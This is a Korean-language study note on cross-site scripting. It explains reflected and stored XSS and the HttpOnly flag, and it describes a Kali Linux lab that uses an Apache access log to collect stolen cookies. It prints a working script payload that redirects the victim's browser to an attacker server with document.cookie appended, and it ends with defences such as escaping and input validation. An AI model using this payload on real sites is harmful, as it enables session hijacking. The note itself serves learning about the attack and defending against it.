크로스 사이트 스크립팅이... 클릭하면 어떤 스크립트를 실행하는지?
httpOnly 설정해놓으면 세션, 쿠키를 탈취하는게 불가능하지 않나?
(document.cookie해도 아무 것도 표시 안되니까)
XSS 방지하는 lucy filter라는게 있었지
스크립트가 실행된다고 해서 공격자에게 세션,쿠키 정보가 어떻게 전달될 수 있는지?
-> url에 쿠키 붙이고 공격자 서버 url로 document.location 이용하여 리다이렉트 시키면 됨!!
그러고 나서 웹 서버의 access log로 쿠키 확인
피싱 어떻게 하는지 모름
스크립트 코드를 웹 애플리케이션에 삽입해서
사용자의 브라우저에서 해당 코드를 실행하도록 만드는 공격
다른 취약점들은 서버를 공격하는데
크로스 사이트 스크립팅은 클라이언트를 공격한다는게 특징임
주요 목표는 세션 쿠키 탈취라고 함..
공격에 사용하는 js 코드에 따라 다양한 공격이 가능하다고 함
실제 취약점을 가지고 있는 웹 서버와 상관없는 웹사이트의 정보도 공격자가 노릴 수 있게 된다고 함...
요청 메세지에 입력된 스크립트 코드가 응답 메세지를 통해 그대로 출력되는 취약점
reflected XSS를 예를 들면, 사용자 입력으로 html a 태그를 입력했는데
화면에 표시될 때 문자열로 인식되지 않고 실행이 되어서 링크로 보이는 경우를 말하는 것임
공격 과정
스크립트 코드가 담긴 요청 전송
reflected XSS 취약점이 있으면 스크립트 코드를 그대로 반환하여 웹사이트에 출력
브라우저가 스크립트 실행 -> 공격자에게 세션,쿠키를 전달
(사용자가 위험한 js 스크립트는 잘 실행하지 않아서 피싱을 통해 실행되게 한다고 함)
공격자가 세션, 쿠키를 이용해 사용자 권한을 얻는다.
공격 실습
칼리 리눅스에서 웹 서버(공격자의 호스트) 실행
service apache2 start
ip addr
tail -f /var/log/apache2/access.log
ip addr로 칼리 리눅스 ip 확인(eth1)하고
브라우저로 접속하여 웹 서버 띄워졌는지 확인( 아파치 디폴트 페이지 표시)
tail -f {파일명}으로 아파치 웹서버로 access log 표시
xss 취약점이 있는 웹사이트로 가서 사용자 입력에 공격자 웹서버로 쿠키를 보내도록 입력
<script> document.location='http://{공격자 웹서버 ip}/cookie?'+document.cookie </script>
공격자 웹 서버의 access log에 쿠키 정보가 표시됨
BeEF 공격 프레임워크?
js 후킹 코드를 실행하면 사용자 호스트를 대상으로 여러 공격을 할 수 있게 해주는 프로그램이라고 함..
웹 서버에 스크립트에 저장되었다가나중에 실행되는 방법..
공격 과정 예시
사용자 입력에 스크립트를 입력하더라도 단순히 문자열로 표시되도록 하는 것이 가장 좋은 대응법이라고 함..
-> 라이브러리 쓰면 될듯
입력값을 검증하는 것도 공격을 차단 가능.